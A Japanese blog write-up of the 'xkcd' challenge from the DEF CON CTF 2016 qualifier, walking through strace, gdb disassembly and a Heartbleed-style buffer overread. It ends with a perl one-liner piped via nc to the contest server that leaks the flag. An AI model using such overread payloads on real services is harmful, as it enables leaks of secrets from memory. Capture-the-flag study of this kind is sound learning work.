DEF CON CTF 2016 writeup

DEF CON CTF 2016 writeup

去年は 0 完を達成した DEF CON.
今年は 1 完以上を目指してなんとか達成できたので,writeup を書くことにする.

xkcd

64 bit バイナリ.おととし話題になった openssl の Heartbleed が元ネタっぽいらしい.
なんか 4 コマ的なものがチームのチャットに貼られてた.
xkcd: Heartbleed Explanation

とりあえずローカルで動かしてみる.

$ ./xkcd
Could not open the flag.

どうやらフラグファイルがないと起動できらしい.
strace を使ってシステムコールをみてみる.

$ strace ./xkcd
execve("./xkcd", ["./xkcd"], [/* 24 vars */]) = 0
uname({sys="Linux", node="centos6-x86_64.lab.yharima.club", ...}) = 0
brk(0)                                  = 0x1cc8000
brk(0x1cc91c0)                          = 0x1cc91c0
arch_prctl(ARCH_SET_FS, 0x1cc8880)      = 0
readlink("/proc/self/exe", "/home/yuta1024/DEFCON/xkcd", 4096) = 26
brk(0x1cea1c0)                          = 0x1cea1c0
brk(0x1ceb000)                          = 0x1ceb000
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
open("flag", O_RDONLY)                  = -1 ENOENT (No such file or directory)
write(1, "Could not open the flag.", 24Could not open the flag.) = 24
write(1, "\n", 1
)                       = 1
exit_group(-1)                          = ?
+++ exited with 255 +++

flag ファイルがあれば良いらしいのでとりあえず適当に yharima とか書いて置いておく.
もう一度起動してみる.

$ ./xkcd
A
MALFORMED REQUEST

適当に A と入力するとリクエストが正しくないらしい.
ここまでくるとどうしようもないので gdb で動かしながらどのような入力を取ればいいかを追っていく.

   0x0000000000400fb9 <+91>:   mov    esi,0x487de4
   0x0000000000400fbe <+96>:  mov    edi,0x487de6
   0x0000000000400fc3 <+101>: call   0x407d80 <fopen64>
   0x0000000000400fc8 <+106>: mov    QWORD PTR [rbp-0x18],rax
   0x0000000000400fcc <+110>: cmp    QWORD PTR [rbp-0x18],0x0
   0x0000000000400fd1 <+115>: jne    0x400fe7 <main+137>
   0x0000000000400fd3 <+117>: mov    edi,0x487deb
   0x0000000000400fd8 <+122>: call   0x408260 <puts>
   0x0000000000400fdd <+127>: mov    eax,0xffffffff
   0x0000000000400fe2 <+132>: jmp    0x401177 <main+537>
   0x0000000000400fe7 <+137>: mov    rax,QWORD PTR [rbp-0x18]
   0x0000000000400feb <+141>: mov    rcx,rax
   0x0000000000400fee <+144>: mov    edx,0x100
   0x0000000000400ff3 <+149>: mov    esi,0x1
   0x0000000000400ff8 <+154>: mov    edi,0x6b7540
   0x0000000000400ffd <+159>: call   0x407d90 <fread>

flag を open している部分.
0x0000000000400fd1 で open できたら 0x0000000000400fe7 に飛んでいて,
open に失敗したら 0x487deb = "Could not open the flag." を出力して終了している.
0x0000000000400fe7 の飛び先では,フラグの内容を 0x6b7540 に読み込んでいる.
その後,fgetln があって,ユーザの入力を取っていて,続いて strtok を呼んでいる.

   0x000000000040101f <+193>:  mov    QWORD PTR [rbp-0x20],rax
   0x0000000000401023 <+197>: mov    rax,QWORD PTR [rbp-0x20]
   0x0000000000401027 <+201>: mov    esi,0x487e04
   0x000000000040102c <+206>: mov    rdi,rax
   0x000000000040102f <+209>: mov    eax,0x0
   0x0000000000401034 <+214>: call   0x4196a0 <strtok>
   0x0000000000401039 <+219>: cdqe
   0x000000000040103b <+221>: mov    QWORD PTR [rbp-0x28],rax
   0x000000000040103f <+225>: mov    rax,QWORD PTR [rbp-0x28]
   0x0000000000401043 <+229>: mov    esi,0x487e06
   0x0000000000401048 <+234>: mov    rdi,rax
   0x000000000040104b <+237>: call   0x4002d0
   0x0000000000401050 <+242>: test   eax,eax
   0x0000000000401052 <+244>: je     0x401068 <main+266>

入力文字列を 0x487e04 = "?" を使って token を分割していて,
分割して結果を 0x487e06 = "SERVER, ARE YOU STILL THERE" と比較していて一致しないなら終了する,
という感じっぽい( 0x4002d0 を詳しく読んでないが動作的にはそうっぽかった).
ということは,入力としてはこの時点で SERVER, ARE YOU STILL THERE? が必要.
同様に同じような処理が続いて,文字列を組み立てていくと,
SERVER, ARE YOU STILL THERE? IF SO, REPLY "POTATO" (6 LETTERS) 的な文章になる.
# REPLY" の間にスペースがなくて随分はまっていたがチームメンバーが気づいてくれた.

これだけでは,何も意味がなくてどうやって flag を取得するか,という部分で随分悩んだ.
4コマのように,6 LETTERS としている部分を " で囲んだ文字列より長いものを入れてみても,

$ ./xkcd
SERVER, ARE YOU STILL THERE? IF SO, REPLY "POTATO" (100 LETTERS)
NICE TRY

となり,終了してしまいリークできない.
実際に逆汗結果を読んでみると,

   0x0000000000401145 <+487>:  mov    edi,0x6b7340
   0x000000000040114a <+492>: call   0x417280 <strlen>
   0x000000000040114f <+497>: cmp    rbx,rax
   0x0000000000401152 <+500>: jbe    0x401168 <main+522>
   0x0000000000401154 <+502>: mov    edi,0x487e54
   0x0000000000401159 <+507>: call   0x408260 <puts>
   0x000000000040115e <+512>: mov    edi,0xffffffff
   0x0000000000401163 <+517>: call   0x406c40 <exit>
   0x0000000000401168 <+522>: mov    edi,0x6b7340
   0x000000000040116d <+527>: call   0x408260 <puts>

となっていて 0x6b7340" で囲まれた部分の文字列が memcpy されていて, その文字列の長さを strlen していて, rbx と比較し,より小さく or 等しければ,
その文字列を表示して再度入力待ちし,そうでなければ NICE TRY を出力して終了する.
ここでの rbx は, %d LETTERS" で sscanf した結果が入ってる.
つまり, (100 LETTERS) のときは, rbx = 100 となっている.

全然わからん,となっていたがなんで memcpy しているんだろう? と思ってそのあたりを読み進めていると,

   0x00000000004010ba <+348>:  call   0x4196a0 <strtok>
   0x00000000004010bf <+353>: cdqe
   0x00000000004010c1 <+355>: mov    QWORD PTR [rbp-0x28],rax
   0x00000000004010c5 <+359>: mov    rax,QWORD PTR [rbp-0x28]
   0x00000000004010c9 <+363>: mov    rdi,rax
   0x00000000004010cc <+366>: call   0x417280 <strlen>
   0x00000000004010d1 <+371>: mov    rdx,rax
   0x00000000004010d4 <+374>: mov    rax,QWORD PTR [rbp-0x28]
   0x00000000004010d8 <+378>: mov    rsi,rax
   0x00000000004010db <+381>: mov    edi,0x6b7340
   0x00000000004010e0 <+386>: call   0x41fce0 <memcpy>

" で囲まれている範囲の文字をとってきて, strlen で長さを調べ,0x6b7340 に memcpy している.
0x7b7340 ってなんぞ? っとなって readelf -s してみた.

$ readelf -s ./xkcd | grep 6b7340
  1807: 00000000006b7340   768 OBJECT  GLOBAL DEFAULT   24 globals

グローバル変数っぽい.なんか同じようなアドレスをどっかでみたような…?

   0x0000000000400fb9 <+91>:   mov    esi,0x487de4
   0x0000000000400fbe <+96>:  mov    edi,0x487de6
   0x0000000000400fc3 <+101>: call   0x407d80 <fopen64>
   0x0000000000400fc8 <+106>: mov    QWORD PTR [rbp-0x18],rax
   0x0000000000400fcc <+110>: cmp    QWORD PTR [rbp-0x18],0x0
   0x0000000000400fd1 <+115>: jne    0x400fe7 <main+137>
   0x0000000000400fd3 <+117>: mov    edi,0x487deb
   0x0000000000400fd8 <+122>: call   0x408260 <puts>
   0x0000000000400fdd <+127>: mov    eax,0xffffffff
   0x0000000000400fe2 <+132>: jmp    0x401177 <main+537>
   0x0000000000400fe7 <+137>: mov    rax,QWORD PTR [rbp-0x18]
   0x0000000000400feb <+141>: mov    rcx,rax
   0x0000000000400fee <+144>: mov    edx,0x100
   0x0000000000400ff3 <+149>: mov    esi,0x1
   0x0000000000400ff8 <+154>: mov    edi,0x6b7540
   0x0000000000400ffd <+159>: call   0x407d90 <fread>

フラグが入ってるのが, 0x6b7540 で, memcpy で入力した文字列が入ってるのが 0x6b7340
memcpy は末尾に \0 を付与しないので, 512 byte 書き込んだらフラグと文字が繋がるのでは? # ボケてたのかチームチャットでは 320 byte とかいってしまい, 512 byte だろ,って突っ込まれたw というわけでローカルで " でくくられている範囲に 512 文字いれて,
LETTERS の部分は 自分が書いたフラグの長さである 7文字たして 519 文字としてみると…,

$ perl -e 'print "SERVER, ARE YOU STILL THERE? IF SO, REPLY \"" . A x 512 . "\" (519 LETTERS)"' | ./xkcd
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAyharima
セグメンテーション違反です

キター!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
サーバに対して適当に文字数をいじりながらやってみると…

$ perl -e 'print "SERVER, ARE YOU STILL THERE? IF SO, REPLY \"" . A x 512 . "\" (540 LETTERS)"' | nc xkcd_be4bf26fcb93f9ab8aa193efaad31c3b.quals.shallweplayaga.me 1354
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAThe flag is: bl33ding h34rt5

というわけで, bl33ding h34rt5 がフラグとして取れた!

上記のような考察を書いて 320byte だとかいって検証している間に,
メンバーに先にフラグを奪取されたのはいい思い出. f:id:yharima:20160523232605p:plain